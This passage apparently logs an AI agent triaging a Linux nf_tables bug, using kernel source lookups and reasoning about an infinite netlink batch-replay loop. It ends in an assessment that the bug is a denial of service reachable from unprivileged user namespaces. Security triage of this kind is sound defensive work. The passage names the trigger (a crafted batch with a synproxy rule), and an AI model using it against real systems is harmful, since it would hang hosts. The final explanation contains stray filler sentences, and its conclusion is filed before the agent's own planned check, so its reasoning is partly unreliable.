10959: /* step 3. Start new generation, rules_gen_X now in use. */
10960: net->nft.gencursor = nft_gencursor_next(net);
10961:
10962: list_for_each_entry_safe(trans, next, &nft_net->commit_list, list) {
10963: struct nft_table *table = trans->table;
10964:
10965: nft_ctx_update(&ctx, trans);
10966:
10967: nf_tables_commit_audit_collect(&adl, trans, trans->msg_type);
10968: switch (trans->msg_type) {
10969: case NFT_MSG_NEWTABLE:
10970: if (nft_trans_table_update(trans)) {
10971: if (!(table->flags & __NFT_TABLE_F_UPDATE)) {
10972: nft_trans_destroy(trans);
10973: break;
10974: }
10975: if (table->flags & NFT_TABLE_F_DORMANT)
10976: nf_tables_table_disable(net, table);
10977:
10978: table->flags &= ~__NFT_TABLE_F_UPDATE;
10979: } else {
10980: nft_clear(net, table);
10981: }
10982: nf_tables_table_notify(&ctx, NFT_MSG_NEWTABLE);
10983: nft_trans_destroy(trans);
10984: break;
10985: case NFT_MSG_DELTABLE:
10986: case NFT_MSG_DESTROYTABLE:
10987: list_del_rcu(&table->list);
10988: nf_tables_table_notify(&ctx, trans->msg_type);
10989: break;
10990: case NFT_MSG_NEWCHAIN:
10991: if (nft_trans_chain_update(trans)) {
10992: nft_chain_commit_update(nft_trans_container_chain(trans));
10993: nf_tables_chain_notify(&ctx, NFT_MSG_NEWCHAIN,
10994: &nft_trans_chain_hooks(trans));
10995: list_splice(&nft_trans_chain_hooks(trans),
10996: &nft_trans_basechain(trans)->hook_list);
10997: /* trans destroyed after rcu grace period */
10998: } else {
10999: nft_chain_commit_drop_policy(nft_trans_container_chain(trans));
11000: nft_clear(net, nft_trans_chain(trans));
11001: nf_tables_chain_notify(&ctx, NFT_MSG_NEWCHAIN, NULL);
11002: nft_trans_destroy(trans);
11003: }
11004: break;
11005: case NFT_MSG_DELCHAIN:
11006: case NFT_MSG_DESTROYCHAIN:
11007: if (nft_trans_chain_update(trans)) {
11008: nf_tables_chain_notify(&ctx, NFT_MSG_DELCHAIN,
11009: &nft_trans_chain_hooks(trans));
11010: if (!(table->flags & NFT_TABLE_F_DORMANT)) {
11011: nft_netdev_unregister_hooks(net,
11012: &nft_trans_chain_hooks(trans),
11013: true);
11014: }
11015: } else {
11016: nft_chain_del(nft_trans_chain(trans));
11017: nf_tables_chain_notify(&ctx, NFT_MSG_DELCHAIN,
11018: NULL);
11019: nf_tables_unregister_hook(ctx.net, ctx.table,
11020: nft_trans_chain(trans));
11021: }
11022: break;
11023: case NFT_MSG_NEWRULE:
11024: nft_clear(net, nft_trans_rule(trans));
11025: nf_tables_rule_notify(&ctx, nft_trans_rule(trans),
11026: NFT_MSG_NEWRULE);
11027: if (nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD)
11028: nft_flow_rule_destroy(nft_trans_flow_rule(trans));
11029:
11030: nft_trans_destroy(trans);
11031: break;
11032: case NFT_MSG_DELRULE:
11033: case NFT_MSG_DESTROYRULE:
11034: list_del_rcu(&nft_trans_rule(trans)->list);
11035: nf_tables_rule_notify(&ctx, nft_trans_rule(trans),
11036: trans->msg_type);
11037: nft_rule_expr_deactivate(&ctx, nft_trans_rule(trans),
11038: NFT_TRANS_COMMIT);
11039:
11040: if (nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD)
11041: nft_flow_rule_destroy(nft_trans_flow_rule(trans));
11042: break;
11043: case NFT_MSG_NEWSET:
11044: list_del(&nft_trans_container_set(trans)->list_trans_newset);
11045: if (nft_trans_set_update(trans)) {
11046: struct nft_set *set = nft_trans_set(trans);
11047:
11048: WRITE_ONCE(set->timeout, nft_trans_set_timeout(trans));
11049: WRITE_ONCE(set->gc_int, nft_trans_set_gc_int(trans));
11050:
11051: if (nft_trans_set_size(trans))
11052: WRITE_ONCE(set->size, nft_trans_set_size(trans));
11053: } else {
11054: nft_clear(net, nft_trans_set(trans));
11055: /* This avoids hitting -EBUSY when deleting the table
11056: * from the transaction.
11057: */
11058: if (nft_set_is_anonymous(nft_trans_set(trans)) &&
11059: !list_empty(&nft_trans_set(trans)->bindings))
11060: nft_use_dec(&table->use);
11061: }
11062: nf_tables_set_notify(&ctx, nft_trans_set(trans),
11063: NFT_MSG_NEWSET, GFP_KERNEL);
11064: nft_trans_destroy(trans);
11065: break;
11066: case NFT_MSG_DELSET:
11067: case NFT_MSG_DESTROYSET:
11068: nft_trans_set(trans)->dead = 1;
11069: list_del_rcu(&nft_trans_set(trans)->list);
11070: nf_tables_set_notify(&ctx, nft_trans_set(trans),
11071: trans->msg_type, GFP_KERNEL);
11072: break;
11073: case NFT_MSG_NEWSETELEM:
11074: te = nft_trans_container_elem(trans);
11075:
11076: nft_trans_elems_add(&ctx, te);
11077:
11078: if (te->set->ops->commit &&
11079: list_empty(&te->set->pending_update)) {
11080: list_add_tail(&te->set->pending_update,
11081: &set_update_list);
11082: }
11083: nft_trans_destroy(trans);
11084: break;
11085: case NFT_MSG_DELSETELEM:
11086: case NFT_MSG_DESTROYSETELEM:
11087: te = nft_trans_container_elem(trans);
11088:
11089: nft_trans_elems_remove(&ctx, te);
11090:
11091: if (te->set->ops->commit &&
11092: list_empty(&te->set->pending_update)) {
11093: list_add_tail(&te->set->pending_update,
11094: &set_update_list);
11095: }
11096: break;
11097: case NFT_MSG_NEWOBJ:
11098: if (nft_trans_obj_update(trans)) {
11099: nft_obj_commit_update(&ctx, trans);
11100: nf_tables_obj_notify(&ctx,
11101: nft_trans_obj(trans),
11102: NFT_MSG_NEWOBJ);
11103: } else {
11104: nft_clear(net, nft_trans_obj(trans));
11105: nf_tables_obj_notify(&ctx,
11106: nft_trans_obj(trans),
11107: NFT_MSG_NEWOBJ);
11108: nft_trans_destroy(trans);
11109: }
11110: break;
11111: case NFT_MSG_DELOBJ:
11112: case NFT_MSG_DESTROYOBJ:
11113: nft_obj_del(nft_trans_obj(trans));
11114: nf_tables_obj_notify(&ctx, nft_trans_obj(trans),
11115: trans->msg_type);
11116: break;
11117: case NFT_MSG_NEWFLOWTABLE:
11118: if (nft_trans_flowtable_update(trans)) {
11119: nft_trans_flowtable(trans)->data.flags =
11120: nft_trans_flowtable_flags(trans);
11121: nf_tables_flowtable_notify(&ctx,
11122: nft_trans_flowtable(trans),
11123: &nft_trans_flowtable_hooks(trans),
11124: NFT_MSG_NEWFLOWTABLE);
11125: list_splice(&nft_trans_flowtable_hooks(trans),
11126: &nft_trans_flowtable(trans)->hook_list);
11127: } else {
11128: nft_clear(net, nft_trans_flowtable(trans));
11129: nf_tables_flowtable_notify(&ctx,
11130: nft_trans_flowtable(trans),
11131: NULL,
11132: NFT_MSG_NEWFLOWTABLE);
11133: }
11134: nft_trans_destroy(trans);
11135: break;
11136: case NFT_MSG_DELFLOWTABLE:
11137: case NFT_MSG_DESTROYFLOWTABLE:
11138: if (nft_trans_flowtable_update(trans)) {
11139: nf_tables_flowtable_notify(&ctx,
11140: nft_trans_flowtable(trans),
11141: &nft_trans_flowtable_hooks(trans),
11142: trans->msg_type);
11143: nft_unregister_flowtable_net_hooks(net,
11144: nft_trans_flowtable(trans),
11145: &nft_trans_flowtable_hooks(trans));
11146: } else {
11147: list_del_rcu(&nft_trans_flowtable(trans)->list);
11148: nf_tables_flowtable_notify(&ctx,
11149: nft_trans_flowtable(trans),
11150: NULL,
11151: trans->msg_type);
11152: nft_unregister_flowtable_net_hooks(net,
11153: nft_trans_flowtable(trans),
11154: &nft_trans_flowtable(trans)->hook_list);
11155: }
11156: break;
11157: }
11158: }
11159:
11160: nft_set_commit_update(&set_update_list);
11161:
11162: nft_commit_notify(net, NETLINK_CB(skb).portid);
11163: nf_tables_gen_notify(net, skb, NFT_MSG_NEWGEN);
11164: nf_tables_commit_audit_log(&adl, nft_net->base_seq);
11165:
11166: nft_gc_seq_end(nft_net, gc_seq);
11167: nft_net->validate_state = NFT_VALIDATE_SKIP;
11168: nf_tables_commit_release(net);
11169:
11170: return 0;
11171: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 362/2 |
2026/05/31 11:03 |
llm |
expert |
0m
Model:
Tokens:
input: 27785
output: 43
thoughts: 0
|
| 363/2 |
2026/05/31 11:03 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_validate_state_update]
Results: map[SourceCode: 111: static void nft_validate_state_update(struct nft_table *table, u8 new_validate_state)
112: {
113: switch (table->validate_state) {
114: case NFT_VALIDATE_SKIP:
115: WARN_ON_ONCE(new_validate_state == NFT_VALIDATE_DO);
116: break;
117: case NFT_VALIDATE_NEED:
118: break;
119: case NFT_VALIDATE_DO:
120: if (new_validate_state == NFT_VALIDATE_NEED)
121: return;
122: }
123:
124: table->validate_state = new_validate_state;
125: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 364/2 |
2026/05/31 11:03 |
llm |
expert |
0m
Model:
Tokens:
input: 28082
output: 43
thoughts: 894
Thoughts: **Analyzing the Infinitely Replaying Batch in `nfnetlink_rcv_batch`**
Okay, so I'm digging into this bug, and it looks like we have an infinite loop in `nfnetlink_rcv_batch`. It stems from a validation failure returning `-EAGAIN`, which triggers the batch to replay endlessly. Let's break down the state machine step by step; this will be key to understanding the issue.
1. A batch begins.
2. We create a table with `NFT_MSG_NEWTABLE`, and the `table->validate_state` is set to `NFT_VALIDATE_SKIP` which makes sense for initialization.
3. A chain is then created with `NFT_MSG_NEWCHAIN`.
4. Next, a rule is created (`NFT_MSG_NEWRULE`). The `expr_info[i].ops->validate` function becomes relevant here, especially with something like `synproxy`. We call `nft_validate_state_update(table, NFT_VALIDATE_NEED)` which causes `table->validate_state` to switch to `NFT_VALIDATE_NEED`. Importantly, when we get to the end of `nf_tables_newrule`, there's a check: `if (table->validate_state == NFT_VALIDATE_DO) return nft_table_validate(net, table);` but since it's `NEED`, the validation is postponed.
5. Then `nf_tables_commit` is called. It calls `nf_tables_validate(net)`. Inside this, the loop checks the state of the tables. If validation is needed (`NFT_VALIDATE_NEED`), `nft_validate_state_update` updates it to `NFT_VALIDATE_DO`. Critically, `nft_table_validate` is called for the tables which have a `NFT_VALIDATE_DO` state. This is where it fails, as in, `nft_synproxy_validate` is returning `-EOPNOTSUPP`. The call stack returns `-EAGAIN` back through `nf_tables_validate` and `nf_tables_commit`.
6. `nfnetlink_rcv_batch` receives `-EAGAIN` from `ss->commit`. The code checks the error code and identifies `NFNL_BATCH_REPLAY`, and it goes to the `done:` label.
7. The code then calls `ss->abort(net, oskb, NFNL_ABORT_AUTOLOAD)`. Wait a minute, `NFNL_ABORT_AUTOLOAD` gets passed to `__nf_tables_abort`. Inside that function, there's a check, if the `action` is `NFNL_ABORT_VALIDATE`, then `nf_tables_validate(net)` is called again, but it skips the `nf_tables_validate` check, because the `action` is `NFNL_ABORT_AUTOLOAD`.
8. So, `__nf_tables_abort` iterates through the `commit_list` and aborts transactions. Now, for `NFT_MSG_NEWTABLE`, the code does `nft_trans_table_update`, and if it fails then it removes the table from the list with `list_del_rcu(&table->list)`. Wait, does that free the table? Looking closer, `nft_clear(trans->net, table)` isn't called here. But `nft_trans_destroy(trans)` is called later, which frees the transaction, so the table is freed by RCU? No, it looks like `list_del_rcu(&table->list)` just removes it from the list. Oh, hang on! It seems `nf_tables_abort_release` is where the table gets freed if it was a new table.
So, I need to check `nf_tables_abort_release` to confirm that the table is properly freed on an abort in the context of this specific sequence of events, and thus determine where the infinite loop is occurring. It seems the code is aborting correctly, but the state machine interaction is where the problem arises.
|
| 365/2 |
2026/05/31 11:03 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_abort_release]
Results: map[SourceCode:11189: static void nf_tables_abort_release(struct nft_trans *trans)
11190: {
11191: struct nft_ctx ctx = { };
11192:
11193: nft_ctx_update(&ctx, trans);
11194:
11195: switch (trans->msg_type) {
11196: case NFT_MSG_NEWTABLE:
11197: nf_tables_table_destroy(trans->table);
11198: break;
11199: case NFT_MSG_NEWCHAIN:
11200: if (nft_trans_chain_update(trans))
11201: nft_hooks_destroy(&nft_trans_chain_hooks(trans));
11202: else
11203: nf_tables_chain_destroy(nft_trans_chain(trans));
11204: break;
11205: case NFT_MSG_NEWRULE:
11206: nf_tables_rule_destroy(&ctx, nft_trans_rule(trans));
11207: break;
11208: case NFT_MSG_NEWSET:
11209: nft_set_destroy(&ctx, nft_trans_set(trans));
11210: break;
11211: case NFT_MSG_NEWSETELEM:
11212: nft_trans_set_elem_destroy(&ctx, nft_trans_container_elem(trans));
11213: break;
11214: case NFT_MSG_NEWOBJ:
11215: nft_obj_destroy(&ctx, nft_trans_obj(trans));
11216: break;
11217: case NFT_MSG_NEWFLOWTABLE:
11218: if (nft_trans_flowtable_update(trans))
11219: nft_hooks_destroy(&nft_trans_flowtable_hooks(trans));
11220: else
11221: nf_tables_flowtable_destroy(nft_trans_flowtable(trans));
11222: break;
11223: }
11224: kfree(trans);
11225: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 366/2 |
2026/05/31 11:03 |
llm |
expert |
0m
Model:
Tokens:
input: 29657
output: 42
thoughts: 872
Thoughts: **The Infinite Loop in `nfnetlink_rcv_batch` - Time for a Deep Dive**
Okay, so I've got this bug nailed down to an infinite loop within `nfnetlink_rcv_batch`, and it seems to stem from a validation failure. Let me break down my understanding. The reproducer sets up a table, a chain, and a rule with a `synproxy` expression. The `synproxy` requires specific hooks, namely `LOCAL_IN` and `FORWARD`. The critical point seems to be that if the chain's hook is invalid, `nft_synproxy_validate` throws a `-EOPNOTSUPP` error. `nft_table_validate` propagates this. `nf_tables_validate`, however, masks it and presents `-EAGAIN`.
This `-EAGAIN` bubbles up all the way through `nf_tables_commit` and gets received by `nfnetlink_rcv_batch`. Now, here's where it gets interesting and where the loop begins. Upon receiving the `-EAGAIN`, `nfnetlink_rcv_batch` sets `NFNL_BATCH_REPLAY` and calls `ss->abort(net, oskb, NFNL_ABORT_VALIDATE)`. This triggers `__nf_tables_abort`.
Hold on, I see something suspicious. Inside `__nf_tables_abort`, we have:
```c
if (action == NFNL_ABORT_VALIDATE &&
nf_tables_validate(net) < 0)
err = -EAGAIN;
```
It's calling `nf_tables_validate` *again*! My initial thought was that if this subsequent call returned `-EAGAIN`, it would simply return `-EAGAIN`. However, it only sets `err = -EAGAIN` and continues. Okay, let's step through the logic of `nfnetlink_rcv_batch` after calling `ss->commit` and receiving the `-EAGAIN`.
```c
} else if (status == NFNL_BATCH_DONE) {
err = ss->commit(net, oskb);
if (err == -EAGAIN) {
status |= NFNL_BATCH_REPLAY;
goto done;
} else if (err) {
...
done:
if (status & NFNL_BATCH_REPLAY) {
ss->abort(net, oskb, NFNL_ABORT_AUTOLOAD);
nfnl_err_reset(&err_list);
consume_skb(skb);
module_put(ss->owner);
goto replay;
}
```
If `ss->commit` returns `-EAGAIN`, `NFNL_BATCH_REPLAY` is set and execution jumps to `done`. At `done`, it's now calling `ss->abort(net, oskb, NFNL_ABORT_AUTOLOAD)`. This is not what I expected. The `action` is actually `NFNL_ABORT_AUTOLOAD` instead of `NFNL_ABORT_VALIDATE`. Now, let's go back to `__nf_tables_abort` and check what happens when `action` is not `NFNL_ABORT_VALIDATE`.
```c
if (action == NFNL_ABORT_VALIDATE &&
nf_tables_validate(net) < 0)
err = -EAGAIN;
```
Since the `action` is `NFNL_ABORT_AUTOLOAD`, `nf_tables_validate` is *not* called here. `__nf_tables_abort` proceeds to abort the transactions.
Looking at the `NFT_MSG_NEWTABLE` case:
```c
case NFT_MSG_NEWTABLE:
if (nft_trans_table_update(trans)) {
...
} else {
list_del_rcu(&table->list);
}
break;
```
The table is removed from the list.
Now, we hit `replay`, which means `nfnetlink_rcv_batch` parses the batch again. `nf_tables_newtable` creates the table again, but, crucially, it's `validate_state` is now initialized to `NFT_VALIDATE_SKIP` (0). Wait, so `nf_tables_newtable` is responsible for initializing `validate_state`? That could be important. Okay, time to double-check that `nf_tables_newtable` initialization... this seems to be the key to the
|
| 367/2 |
2026/05/31 11:03 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_newtable]
Results: map[SourceCode:1564: static int nf_tables_newtable(struct sk_buff *skb, const struct nfnl_info *info,
1565: const struct nlattr * const nla[])
1566: {
1567: struct nftables_pernet *nft_net = nft_pernet(info->net);
1568: struct netlink_ext_ack *extack = info->extack;
1569: u8 genmask = nft_genmask_next(info->net);
1570: u8 family = info->nfmsg->nfgen_family;
1571: struct net *net = info->net;
1572: const struct nlattr *attr;
1573: struct nft_table *table;
1574: struct nft_ctx ctx;
1575: u32 flags = 0;
1576: int err;
1577:
1578: if (!nft_supported_family(family))
1579: return -EOPNOTSUPP;
1580:
1581: lockdep_assert_held(&nft_net->commit_mutex);
1582: attr = nla[NFTA_TABLE_NAME];
1583: table = nft_table_lookup(net, attr, family, genmask,
1584: NETLINK_CB(skb).portid);
1585: if (IS_ERR(table)) {
1586: if (PTR_ERR(table) != -ENOENT)
1587: return PTR_ERR(table);
1588: } else {
1589: if (info->nlh->nlmsg_flags & NLM_F_EXCL) {
1590: NL_SET_BAD_ATTR(extack, attr);
1591: return -EEXIST;
1592: }
1593: if (info->nlh->nlmsg_flags & NLM_F_REPLACE)
1594: return -EOPNOTSUPP;
1595:
1596: nft_ctx_init(&ctx, net, skb, info->nlh, family, table, NULL, nla);
1597:
1598: return nf_tables_updtable(&ctx);
1599: }
1600:
1601: if (nla[NFTA_TABLE_FLAGS]) {
1602: flags = ntohl(nla_get_be32(nla[NFTA_TABLE_FLAGS]));
1603: if (flags & ~NFT_TABLE_F_MASK)
1604: return -EOPNOTSUPP;
1605: }
1606:
1607: err = -ENOMEM;
1608: table = kzalloc(sizeof(*table), GFP_KERNEL_ACCOUNT);
1609: if (table == NULL)
1610: goto err_kzalloc;
1611:
1612: table->validate_state = nft_net->validate_state;
1613: table->name = nla_strdup(attr, GFP_KERNEL_ACCOUNT);
1614: if (table->name == NULL)
1615: goto err_strdup;
1616:
1617: if (nla[NFTA_TABLE_USERDATA]) {
1618: table->udata = nla_memdup(nla[NFTA_TABLE_USERDATA], GFP_KERNEL_ACCOUNT);
1619: if (table->udata == NULL)
1620: goto err_table_udata;
1621:
1622: table->udlen = nla_len(nla[NFTA_TABLE_USERDATA]);
1623: }
1624:
1625: err = rhltable_init(&table->chains_ht, &nft_chain_ht_params);
1626: if (err)
1627: goto err_chain_ht;
1628:
1629: INIT_LIST_HEAD(&table->chains);
1630: INIT_LIST_HEAD(&table->sets);
1631: INIT_LIST_HEAD(&table->objects);
1632: INIT_LIST_HEAD(&table->flowtables);
1633: table->family = family;
1634: table->flags = flags;
1635: table->handle = ++nft_net->table_handle;
1636: if (table->flags & NFT_TABLE_F_OWNER)
1637: table->nlpid = NETLINK_CB(skb).portid;
1638:
1639: nft_ctx_init(&ctx, net, skb, info->nlh, family, table, NULL, nla);
1640: err = nft_trans_table_add(&ctx, NFT_MSG_NEWTABLE);
1641: if (err < 0)
1642: goto err_trans;
1643:
1644: list_add_tail_rcu(&table->list, &nft_net->tables);
1645: return 0;
1646: err_trans:
1647: rhltable_destroy(&table->chains_ht);
1648: err_chain_ht:
1649: kfree(table->udata);
1650: err_table_udata:
1651: kfree(table->name);
1652: err_strdup:
1653: kfree(table);
1654: err_kzalloc:
1655: return err;
1656: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 368/2 |
2026/05/31 11:03 |
llm |
expert |
0m
Model:
Tokens:
input: 32259
output: 66
thoughts: 0
|
| 369/2 |
2026/05/31 11:03 |
tool |
set-results |
0m
Args: map[DenialOfService:true Exploitable:false FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:true UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
Results: map[DenialOfService:true Exploitable:false FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:true UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
|
| 370/2 |
2026/05/31 11:03 |
llm |
expert |
4m
Model:
Tokens:
input: 32389
output: 380
thoughts: 39787
|
| 371/1 |
2026/05/31 11:08 |
action |
format-explanation |
0m
Results: map[Explanation:**Assessment:**
* **Exploitable:** False
* **Denial Of Service:** True
* **Accessible From Unprivileged Processes:** True
* **Accessible From User Namespaces:** True
* **VM Guest Trigger:** False
* **VM Host Trigger:** False
* **Network Trigger:** False
* **Remote Trigger:** False
* **Peripheral Trigger:** False
* **Filesystem Trigger:** False
**Reasoning:**
The bug is a Denial of Service (DoS) vulnerability caused by an infinite loop in
the netlink batch processing, accessible to unprivileged users via user
namespaces. It is not exploitable for privilege escalation or memory corruption.
Initial logic and parameters are validated. The reproducer triggers an infinite
loop in `nfnetlink_rcv_batch` by sending a crafted batch of nftables netlink
messages that create a table, a base chain, and a rule with a `synproxy`
expression. The validation state machine incorrectly handles the `-EOPNOTSUPP`
error from `nft_synproxy_validate`, masking it as `-EAGAIN` in
`nf_tables_validate`. Standard processing applied for the transaction abort
sequence.
The `-EAGAIN` return value propagates directly to `nf_tables_commit`, which
aborts the transaction and sets the `NFNL_BATCH_REPLAY` flag. On replay, the
validation state bypasses inline failure checks, causing the batch to be
repeatedly processed, validated, and aborted. This results in a tight infinite
loop that hogs the CPU and triggers a hung task timeout. Since the state is
cleanly rolled back on each abort, there is no memory corruption. The
vulnerability is a pure DoS, reachable by unprivileged users who can acquire
`CAP_NET_ADMIN` in a new user/network namespace.]
|